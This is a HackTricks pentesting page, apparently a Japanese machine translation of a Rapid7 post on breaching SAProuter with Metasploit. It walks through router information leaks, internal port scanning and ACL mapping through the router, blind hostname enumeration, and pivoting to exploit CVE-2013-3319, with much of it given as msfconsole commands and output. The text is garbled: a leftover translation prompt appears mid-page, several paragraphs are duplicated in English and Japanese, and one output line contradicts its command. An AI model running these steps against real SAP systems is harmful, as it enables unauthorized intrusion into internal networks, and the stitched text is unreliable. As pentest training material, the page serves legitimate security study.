hacktricks/network-services-pentesting/3299-pentesting-saprouter.md
2023-07-07 23:42:27 +00:00

26 KiB
Raw Blame History

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥

Copy of: https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/

PORT     STATE SERVICE    VERSION
3299/tcp open  saprouter?

Metasploitを䜿甚しおSAProuterを突砎する

Saprouterは基本的にSAPシステム甚のリバヌスプロキシであり、通垞はむンタヌネットず内郚のSAPシステムの間に配眮されたす。その䞻な目的は、通垞のファむアりォヌルよりもSAPプロトコルの现かい制埡を可胜にするため、むンタヌネット䞊のホストから内郚のSAPシステムぞの制埡されたアクセスを蚱可するこずです。

これは、saprouterが組織のファむアりォヌルでsaprouterホストぞのむンバりンドTCPポヌト3299を蚱可するこずで、通垞むンタヌネットに公開されるこずを意味したす。そしお、saprouterからは少なくずも内郚のSAPサヌバヌに到達できるはずです。これは非垞に興味深いタヌゲットであり、"高い䟡倀"のあるネットワヌクぞの進入経路を提䟛する可胜性がありたす。

以䞋の図は、䟋ずしお䜿甚する基本的なネットワヌク構成を瀺しおいたす

たず、sap_service_discoveryモゞュヌルを䜿甚しお、公開されたIPアドレスこの堎合は1.2.3.101のSAPサヌビススキャンを実行したす。

msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
RHOSTS => 1.2.3.101
msf auxiliary(sap_service_discovery) > run

[*] [SAP] Beginning service Discovery '1.2.3.101'

[+] 1.2.3.101:3299      - SAP Router OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

スキャン結果によるず、ホストは予想されるTCPポヌト3299でSAPルヌタを実行しおいたす。これでさらに詳しく調査し、saprouterから情報を取埗しようず詊みるこずができたす。蚭定が誀っおいる堎合、そしおしばしばそうですが、saprouterを介しお内郚ホストぞの接続など、内郚情報を取埗するこずが可胜です。この目的のために、sap_router_info_requestモゞュヌルを䜿甚したす。

msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
RHOSTS => 1.2.3.101
msf auxiliary(sap_router_info_request) > run

[+] 1.2.3.101:3299 - Connected to saprouter
[+] 1.2.3.101:3299 - Sending ROUTER_ADM packet info request
[+] 1.2.3.101:3299 - Got INFO response
[+] Working directory   : /opt/sap
[+] Routtab             : ./saprouttab

[SAP] SAProuter Connection Table for 1.2.3.101
===================================================

Source        Destination   Service
------        -----------   -------
1.2.3.12      192.168.1.18  3200


[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

したがっお、出力からわかるように、むンタヌネット䞊の誰か1.2.3.12が内郚ホスト192.168.1.18のポヌト3200に接続しおいたす。ポヌト3200は、DIAGプロトコルの䞀般的なSAPポヌトですこれはSAP GUIアプリケヌションがSAPサヌバヌに接続する堎所です。たた、内郚IPアドレススキヌムに関する情報も取埗しおおり、おそらく192.168.1.0/24ネットワヌクたたはそのネットワヌク内のいく぀かのサブネットを䜿甚しおいるこずがほが確実です。

内郚ホストずサヌビスの列挙

この情報を元に、内郚ネットワヌクのスキャンを開始できたす。saprouterはプロキシのように機胜するため、それに接続しお内郚ホストずポヌトぞの接続を芁求し、saprouterからの応答を確認したす。これにより、saprouterの蚭定に応じお、内郚ホスト、サヌビス、およびACLに関するさらなる掞察が埗られる堎合がありたす。この目的のために、sap_router_portscannerモゞュヌルを䜿甚したす。

このモゞュヌルはsaprouterに接続し、指定したTCPポヌトで他のホストTARGETSオプションで定矩ぞの接続を芁求したす。その埌、応答を分析し、芁求された接続が可胜かどうかを刀断したす。このモゞュヌルにはいく぀かのオプションがありたす。

Basic options:
Name         Current Setting  Required  Description
----         ---------------  --------  -----------
CONCURRENCY  10               yes       The number of concurrent ports to check per host
INSTANCES    00-99            no        SAP instance numbers to scan (NN in PORTS definition)
MODE         SAP_PROTO        yes       Connection Mode: SAP_PROTO or TCP  (accepted: SAP_PROTO, TCP)
PORTS        32NN             yes       Ports to scan (e.g. 3200-3299,5NN13)
RESOLVE      local            yes       Where to resolve TARGETS (accepted: remote, local)
RHOST                         yes       SAPRouter address
RPORT        3299             yes       SAPRouter TCP port
TARGETS                       yes       Comma delimited targets. When resolution is local address ranges or CIDR identifiers allowed.

少なくずも、saprouterのIPアドレスを蚭定する必芁がありたす。䟋えば、1.2.3.101です。次に、スキャンしたい内郚ネットワヌクのアドレスをTARGETSに蚭定し、最埌にスキャンするTCPポヌトをPORTSに蚭定したす。

このモゞュヌルには、PORTSオプションの定矩を簡玠化するINSTANCESオプションもありたす。SAPのむンストヌルでは、耇数のむンスタンスがサポヌトされおおり、同様のサヌビスが提䟛されおいたす。したがっお、各むンスタンスには割り圓おられたTCPポヌトがありたす。䟋えば、SAPむンスタンス00はポヌト3200でSAPディスパッチャヌサヌビスSAP GUIが接続するサヌビスを持ち、むンスタンス01はポヌト3201で提䟛されたす。PORTSオプションは「ワむルドカヌド」ずしお「NN」をサポヌトしおおり、むンスタンス番号で眮き換えられたす。したがっお、00から50たでのむンスタンスをスキャンしたい堎合、以䞋のようにINSTANCESずPORTS倉数を定矩するこずができたす。

msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN

この蚭定では、モゞュヌルはポヌト3200から3250の範囲でスキャンを行いたす。

モゞュヌルの゜ヌスには、SAPシステムの䞀般的なデフォルトポヌトに関する情報がありたす。これをスキャンに䜿甚したす。

msf > use auxiliary/scanner/sap/sap_router_portscanner
msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_router_portscanner
msf auxiliary(sap_router_portscanner) > set RHOST 1.2.3.101
RHOST => 1.2.3.101
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.18
TARGETS => 192.168.1.18
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
PORTS => 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host           Port   State   Info
----           ----   -----   ----
192.168.1.18   3201   closed  SAP Dispatcher sapdp01
192.168.1.18   3200   open    SAP Dispatcher sapdp00
192.168.1.18   50013  open    SAP StartService [SOAP] sapctrl00

[*] Auxiliary module execution completed

私たちは、saprouterを介しお䞀郚の接続が蚱可されない理由を理解するために、VERBOSEオプションを䜿甚しおみるこずができたす。VERBOSEがtrueに蚭定されおいる堎合、saprouterからの応答を芋るこずができ、定矩されたACLをマッピングするこずができたす。

今回は、ポヌト3200でのみ、192.168.1.18ず192.168.1.1のホストをスキャンしお、䞡方のSAPディスパッチャヌに接続できるかどうかを確認したす。

msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.1,192.168.1.18
TARGETS => 192.168.1.1,192.168.1.18
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[+] 192.168.1.18:3200 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host          Port  State   Info
----          ----  -----   ----
192.168.1.18  3200  open  SAP Dispatcher sapdp00

[*] Scanning 192.168.1.1
[-] 192.168.1.1:3200 - blocked by ACL
[!] Warning: Service info could be inaccurate
[*] Auxiliary module execution completed

ACLのマッピング

saprouterに぀いお興味深いこずは、2皮類の接続をサポヌトしおいるこずです。

  • ネむティブ - これらの接続は単玔なTCP接続です。
  • SAPプロトコル - これらはTCP接続で、プロトコルではすべおのメッセヌゞが埌続のコンテンツの長さを瀺す4バむトで始たるず芏定されおいたす。

SAPプロトコルはsaprouter固有のものであり、SAP GUIがsaprouterを介しおSAP DIAGポヌトに接続するために䜿甚したす。ネむティブプロトコルは、他のタむプの接続をsaprouterを通じお蚱可するために䜿甚されたす。

このモゞュヌルでは、スキャン䞭にテストする接続のタむプをMODEオプションで指定するこずができたす。デフォルトはSAPプロトコルであり、これが最も䞀般的に䜿甚される可胜性がありたす。ただし、saprouterを介しお他のサヌビスが蚱可されおいる堎合、ACLはネむティブTCP接続を蚱可する堎合がありたす。

接続のタむプを蚱可するためにMODEをTCPに蚭定するこずができたす。今回は、内郚ホストをスキャンし、むンスタンス00ず01の䞡方でポヌト3200SAP DIAGず80HTTPの䞡方でVERBOSEをtrueに蚭定しお、䜕が起こるかを確認したす。

msf auxiliary(sap_router_portscanner) > set MODE TCP
MODE => TCP

msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
PORTS => 80,32NN
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[+] 192.168.1.18:80 - TCP OPEN
[-] 192.168.1.18:3200 - blocked by ACL
[+] 192.168.1.18:3201 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host          Port  State  Info
----          ----  -----  ----
192.168.1.18  80    open
192.168.1.18  3201  open   SAP Dispatcher sapdp01

[*] Scanning 192.168.1.1
[-] 192.168.1.1:3200 - blocked by ACL
[+] 192.168.1.1:3201 - TCP OPEN
[+] 192.168.1.1:80 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host         Port  State  Info
----         ----  -----  ----
192.168.1.1  3201  open   SAP Dispatcher sapdp01
192.168.1.1  80    open

[*] Auxiliary module execution completed

From the output and the previous information we now know that the ACL is something like this:

  • 任意のホストから192.168.1.1ぞのポヌト80ぞのTCP接続を蚱可したす。
  • 任意のホストから192.168.1.18ぞのポヌト80ぞのTCP接続を蚱可したす。
  • 任意のホストから192.168.1.1ぞのポヌト3201ぞのTCP接続を蚱可したす。
  • 任意のホストから192.168.1.18ぞのポヌト3201ぞのTCP接続を蚱可したす。
  • 任意のホストから192.168.1.18ぞのポヌト3200ぞのSAP接続を蚱可したす。

内郚ホストの盲目的な列挙

思い出しおください、私たちはsaprouterからの情報を取埗しお、内郚ホストのIPアドレスを知るこずができ、そこから進んできたした。しかし、もしsaprouterがその情報を提䟛しおくれなかったらどうでしょうか

1぀のオプションは、単にプラむベヌトアドレススペヌスをスキャンしお、䜕が起こるかを芋るこずです。もう1぀のオプションは、ホスト名による盲目的な列挙です。

Saprouterは、私たちが接続を芁求したホスト名を解決するこずができたす。たた、saprouterは接続に倱敗した堎合にどのような゚ラヌが発生したかを教えおくれたすモゞュヌル゜ヌスの242行目のコメントを解陀するこずで実際の応答を確認できたす。

この機胜により、ホスト名による内郚ホストの列挙が可胜になり、盎接目的の情報を取埗しようずするこずができたす。その際にIPアドレスを知る必芁はありたせん。

ホストを盲目的に列挙する際に芚えおおくべき重芁なポむント

  • VERBOSEをtrueに蚭定したす。
  • MODEがSAP_PROTOに蚭定されおいる堎合、saprouterからより倚くの情報を取埗できたす。
  • この段階ではsaprouterが送信する情報にのみ興味があるため、スキャンするポヌトは1぀だけ蚭定すれば十分です3200を詊しおみおください。
  • 結果は蚭定されたACLによっお異なりたす。残念ながら、ブロックされた接続はあたり情報を提䟛しおくれたせん。

この䟋では、ホスト名sap、sapsrv、sapsrv2を詊しおみたす。

msf auxiliary(sap_router_portscanner) > set RESOLVE remote
RESOLVE => remote
msf auxiliary(sap_router_portscanner) > set MODE SAP_PROTO
MODE => SAP_PROTO
msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS sap,sapsrv,sapsrv2
TARGETS => sap,sapsrv,sapsrv2
msf auxiliary(sap_router_portscanner) > set PORTS 3200
PORTS => 3200
msf auxiliary(sap_router_portscanner) > run

[*] Scanning sap
[-] sap:3200 - unknown host
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv
[-] sapsrv:3200 - host unreachable
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv2
[+] sapsrv2:3200 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host     Port  State  Info
----     ----  -----  ----
sapsrv2  3200  open   SAP Dispatcher sapdp00

[*] Auxiliary module execution completed

以䞋は、ハッキング技術に関する本の内容です。以䞋の内容は、ファむル/hive/hacktricks/network-services-pentesting/3299-pentesting-saprouter.mdからのものです。関連する英文を日本語に翻蚳し、翻蚳を返し、マヌクダりンずHTMLの構文を完党に保持しおください。コヌド、ハッキング技術の名前、ハッキングの蚀葉、クラりド/SaaSプラットフォヌムの名前Workspace、aws、gcpなど、'leak'ずいう単語、ペンテスト、およびマヌクダりンタグなどは翻蚳しないでください。たた、翻蚳ずマヌクダりンの構文以倖の远加のものは远加しないでください。

From the output we see that the host “sap” does not exist, but that host sapsrv does, although it is unreachable, and sapsrv2 exists and we can connect to port 3200.

This technique can also be used to try to find other hosts on the network, not SAP related, just try using common hostnames, like smtp, exchange, pdc, bdc, fileshare, intranet, or what other nice hostnames you might have on your bag of tricks

**The last mile**

Now that we have obtained all this information, we know the internal hosts available, what services are allowed, and what protocols we can use to pierce the saprouter, we can actually connect to internal servers, and proceed with our pentest.

Metasploit provides us with an awesome way to saprouter as a proxy, using the Proxies option, thanks to Dave Hartley \([@nmonkee](http://twitter.com/nmonkee)\).

So at this point, we want to start gathering information on the internal sap server we have discovered in host 192.168.1.18. As an example, we'll be using the module [`sap_hostctrl_getcomputersystem`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem) which exploits CVE-2013-3319 and give us details on the OS the server is running on by querying the SAP Host Control service on port 1128 via an unauthenticated SOAP request. We'll be pivoting through the saprouter, using the proxy support in metasploit:

![](https://blog.rapid7.com/content/images/post-images/33923/image2.jpg)
出力からわかるように、ホスト「sap」は存圚しないが、ホストsapsrvは存圚するが到達できず、sapsrv2は存圚しポヌト3200に接続できる。

この技術は、SAPに関連しない他のホストを芋぀けるためにも䜿甚できたす。smtp、exchange、pdc、bdc、fileshare、intranetなどの䞀般的なホスト名を䜿甚しおみおください。たたは、トリックの袋に入れおいる他の玠敵なホスト名を䜿甚しおみおください。

**最埌の䞀マむル**

これで、利甚可胜な内郚ホスト、蚱可されおいるサヌビス、saprouterを突砎するために䜿甚できるプロトコルがわかったので、実際に内郚サヌバヌに接続し、ペンテストを進めるこずができたす。

Metasploitは、Proxiesオプションを䜿甚しおsaprouterをプロキシずしお䜿甚する玠晎らしい方法を提䟛しおくれたす。これは、Dave Hartley \([@nmonkee](http://twitter.com/nmonkee)\)のおかげです。

したがっお、この時点で、ホスト192.168.1.18で発芋した内郚sapサヌバヌに関する情報を収集し始めたいず思いたす。䟋ずしお、[`sap_hostctrl_getcomputersystem`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem)モゞュヌルを䜿甚したす。このモゞュヌルはCVE-2013-3319を悪甚し、認蚌されおいないSOAPリク゚ストを介しおポヌト1128でSAP Host Controlサヌビスにク゚リを送信するこずで、サヌバヌが実行されおいるOSの詳现を提䟛したす。Metasploitのプロキシサポヌトを䜿甚しおsaprouterをピボットしたす。

![](https://blog.rapid7.com/content/images/post-images/33923/image2.jpg)
msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_hostctrl_getcomputersystem
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
Proxies => sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
RHOSTS => 192.168.1.18
msf auxiliary(sap_hostctrl_getcomputersystem) > run

[+] 192.168.1.18:1128 - Information retrieved successfully
[*] 192.168.1.18:1128 - Response stored in /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_386124.xml (XML) and /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_186948.txt (TXT)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

もしすべおうたくいけば、タヌゲットのSAPホストからの興味深い内郚情報内郚のナヌザ名などを含む、loot内のモゞュヌルの玠敵な出力が埗られるでしょう。その埌、ブルヌトフォヌス攻撃を詊みるこずができたす。

ピボットは、SAPシステムだけでなく、内郚ホストに察しお他のモゞュヌルを実行するために䜿甚するこずができたす䜿甚すべきです。

結論

匱いsaprouterの蚭定を悪甚するこずで、むンタヌネット経由で内郚ホストにアクセスするこずが可胜であるこずを芋おきたした。これは、metasploitがSAPシステムのペンテストをサポヌトするために䜿甚されるだけで実珟されたす。

この蚘事が、saprouterの展開に関連するリスクずSAPセキュリティの䞡方に぀いおの理解を深めるのに圹立぀こずを願っおいたす。

参考文献

Shodan

  • port:3299 !HTTP Network packet too big
☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥
  • サむバヌセキュリティ䌁業で働いおいたすか HackTricksであなたの䌚瀟を宣䌝したいですかたたは、最新バヌゞョンのPEASSを入手したり、HackTricksをPDFでダりンロヌドしたりしたいですかSUBSCRIPTION PLANSをチェックしおください

  • The PEASS Familyを発芋したしょう。独占的なNFTのコレクションです。

  • 公匏のPEASSHackTricksのグッズを手に入れたしょう。

  • 💬 Discordグルヌプたたはテレグラムグルヌプに参加するか、Twitter 🐊@carlospolopmをフォロヌしおください。

  • **ハッキングのトリックを共有するには、hacktricks repoずhacktricks-cloud repo**にPRを提出しおください。